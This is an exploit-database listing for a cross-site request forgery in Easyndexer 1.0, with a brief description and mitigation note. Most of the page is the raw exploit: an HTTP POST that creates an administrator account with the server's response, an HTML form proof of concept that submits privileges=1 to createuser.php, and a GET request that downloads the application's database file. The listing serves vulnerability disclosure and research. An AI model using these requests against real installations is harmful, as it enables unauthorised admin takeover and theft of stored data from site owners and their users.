header-logo
Suggest Exploit
vendor:
Easyndexer
by:
Ihsan Sencan
7.5
CVSS
HIGH
Cross-Site Request Forgery
352
CWE
Product Name: Easyndexer
Affected Version From: 1.0
Affected Version To: 1.0
Patch Exists: NO
Related CWE: N/A
CPE: a:easyndexer:easyndexer:1.0
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: WiN7_x64/KaLiLinuX_x64
2018

Easyndexer 1.0 – Cross-Site Request Forgery (Add Admin)

Easyndexer 1.0 is vulnerable to Cross-Site Request Forgery (CSRF) which allows an attacker to add an administrator user to the application. An attacker can craft a malicious HTML page containing a form with the necessary parameters to add an administrator user. When a logged-in user visits the malicious page, the form will be automatically submitted and an administrator user will be added to the application.

Mitigation:

The application should implement a CSRF protection mechanism to prevent attackers from exploiting this vulnerability.
Source

Exploit-DB raw data:

# Exploit Title: Easyndexer 1.0 - Cross-Site Request Forgery (Add Admin)
# Dork: N/A
# Date: 2018-11-10
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://sourceforge.net/projects/easyndexer/
# Software Link: https://ayera.dl.sourceforge.net/project/easyndexer/easyndexer_win32.exe
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/src/createuser.php
# 
POST /[PATH]/src/createuser.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
username=efe&password=efe&name=OMer&surname=Efe&privileges=1
HTTP/1.1 200 OK
Date: Sat, 10 Nov 2018 17:12:54 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Set-Cookie: PHPSESSID=fuiv6a0p3jnu15ggcphj624e74; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 127
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

# POC: 
# 2)
# http://localhost/[PATH]/src/createuser.php
# 
<html>
<body>
<tr>
	<form action="http://localhost/ExploitDb/easyndexer/src/createuser.php" method="POST">
		<td>New:</td>
		<td><input name="username" type="text"></td>
		<td><input name="password" type="text"></td>
		<td><input name="name" type="text"></td>
		<td><input name="surname" type="text"></td>
		<td><select name="privileges">
			<option value="1">Administrator</option>
			<option value="2">Manager</option>
			<option value="3">User</option>
			<option value="4">Guest</option>
			<option value="5">Translator</option>
		</select></td>
		<td><input value="Create" title="Creates a new user" type="submit"></td>
		<td><input value="Reset" title="Reset data" type="reset"></td>
	</form>
</tr>
</body>
</html>

# POC: Database File Download
# 3)
# http://localhost/[PATH]/databases/generaldb.db
# 
GET /[PATH]/databases/generaldb.db HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=fuiv6a0p3jnu15ggcphj624e74
Connection: keep-alive
HTTP/1.1 200 OK
Date: Sat, 10 Nov 2018 17:15:04 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
Last-Modified: Sat, 10 Nov 2018 17:12:54 GMT
Etag: "1400-57a52941eade9"
Accept-Ranges: bytes
Content-Length: 5120
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive